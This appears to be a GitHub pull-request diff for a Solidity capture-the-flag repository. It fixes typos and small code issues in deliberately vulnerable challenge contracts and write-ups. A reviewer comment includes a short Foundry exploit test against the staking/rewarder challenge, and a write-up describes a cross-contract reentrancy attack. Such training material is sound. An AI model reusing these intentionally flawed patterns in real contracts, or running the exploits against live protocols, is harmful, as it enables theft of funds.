Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion Intros/1_FuzzThis.md
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
# FuzzThis
To win this challenge, you need `FuzzThis::dontHackMePlease()` to return `win`.

In very other challenge you want the test case to pass to win, but for this challenge you want the test case to fail.
In every other challenge you want the test case to pass to win, but for this challenge you want the test case to fail.

This challenge is meant to help you use basic fuzz testing in foundry. If you are unfamiliar with Fuzz testing in Foundry, check out their [docs](https://book.getfoundry.sh/forge/fuzz-testing). This should be the easiest challenge of the series so with that, good luck, and don't forget to read the writeup after!
File renamed without changes.
1 change: 0 additions & 1 deletion src/3_IKnowYulNeverHackThis.sol
Original file line number Diff line number Diff line change
Expand Up @@ -118,7 +118,6 @@ contract IKnowYulNeverHackThis {
uint256 shareOfPrize = address(this).balance / winners.length;

uint256 i;
uint256 winnersLength = winners.length;

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Unused variable

for(i; i < winners.length; ++i) {
(bool sent, bytes memory data) = winners[i].call{value: shareOfPrize}("");
}
Expand Down
2 changes: 1 addition & 1 deletion src/5_BuyMyTokens.sol
Original file line number Diff line number Diff line change
Expand Up @@ -24,7 +24,7 @@ contract BuyMyTokens {
tokenPrices[token3] = 0.3 ether;
}

function _checkPurchasingPower(uint256 _amountOfEtherAvailable, uint256 _amount, uint256 _price) internal {
function _checkPurchasingPower(uint256 _amountOfEtherAvailable, uint256 _amount, uint256 _price) internal pure {
uint256 cost = _price * _amount;
require(cost >= _amountOfEtherAvailable, "dont be that guy; pay for your tokens");
}
Expand Down
1 change: 1 addition & 0 deletions src/6_NotForTrusting.sol
Original file line number Diff line number Diff line change
Expand Up @@ -114,6 +114,7 @@ contract Rewarder is IStaking{
function claim(address _for) external guard {
bool isStaking = staking.isStaking(_for);
StakeData memory userStake = staking.getStakerData(msg.sender);
require(isStaking, "gotta stake to make money");

@cursedId0l cursedId0l Jun 20, 2025

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I don't think you need the reentrancy to perform this exploit. My solution just called the functions one after another.

    function test_GetThisPassing_6() public {
        address hacker = address(0xBAD);

        vm.startPrank(hacker);
        nft.approve(address(staking), tokenId);
        staking.stake(tokenId, 100);
        vm.roll(110);
        rewarder.claim();
        staking.unstake(tokenId, true);
        vm.stopPrank();

        assertGt(token.balanceOf(hacker), 1000 ether);
        assertEq(nft.ownerOf(tokenId), hacker);
    }

I think its because in the second claim function the isStaking variable is unused, I assume that there is a missing require statement that would then force you to use reentrancy.

require(msg.sender == address(staking), "not your rewards");
require(block.number >= userStake.stakeStart + userStake.stakeDuration, "you know about vm.roll(), right?");
require(!hasClaimed[msg.sender], "no double dipping");
Expand Down
2 changes: 1 addition & 1 deletion src/7_CantStopMe.sol
Original file line number Diff line number Diff line change
Expand Up @@ -143,7 +143,7 @@ contract TrustyOracle {
auction.updatePriceDifferential(minPrice, maxPrice);
}

// adds current price to
// adds current price to the price history
function addPriceToHistory() external {
require(msg.sender == address(auction));
uint256 lastPrice = auction.lastPrice();
Expand Down
4 changes: 2 additions & 2 deletions write_ups/3_IKnowYulNeverHackThis.md
Original file line number Diff line number Diff line change
Expand Up @@ -43,7 +43,7 @@ if (_isBlueTeam) {
// loads the free memory pointer
let freeMem := mload(0x40)

// gets the memory location of the the word after the free memory pointer
// gets the memory location of the word after the free memory pointer
let newMsize := add( freeMem, 0x20 )

/**
Expand Down Expand Up @@ -92,4 +92,4 @@ Since the assembly block forgets to update the length of the array, the size is



Bonus Points if you noticed that the game cannot function properly after the first time.
Bonus Points if you noticed that the game cannot function properly after the first time.
6 changes: 3 additions & 3 deletions write_ups/6_NotForTrusting.md
Original file line number Diff line number Diff line change
Expand Up @@ -12,9 +12,9 @@ The actual vulnerability is a cross contract reentrancy attack. Nowadays, most d

Since the two smart contracts do not share the same state for the reentrancy guard modifier, they are not aware when the other contract is locked. To fix this issue, I recommend that protocols with multiple smart contracts should share the state of the reentrancy guard modifier by creating a separate smart contract that they both read and write to the state of the contract.

The basics of the rentrancey revolves around claiming twice, and taking advantage of an NFT's `safeTransforFrom()` function call to `onERC721Received()` in the receiving smart contract. We will go over the affected code in more depth later, but for now let's look into how we perform the exploit.
The basics of the reentrancy revolves around claiming twice, and taking advantage of an NFT's `safeTransferFrom()` function call to `onERC721Received()` in the receiving smart contract. We will go over the affected code in more depth later, but for now let's look into how we perform the exploit.

To exploit the vulnerability, we need a separate smart contract to perform the rentrancey. Let's take a look at my implementation of it:
To exploit the vulnerability, we need a separate smart contract to perform the reentrancy. Let's take a look at my implementation of it:
```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.22;
Expand Down Expand Up @@ -118,7 +118,7 @@ function unstake(uint256 _tokenId, bool claim) external guard {
rewarder.claim(msg.sender);
}

// we update the state before transfering the NFT out of the protocol
// we update the state before transferring the NFT out of the protocol
isStaking[msg.sender] = false;
userStake = StakeData(0, 0, 0);

Expand Down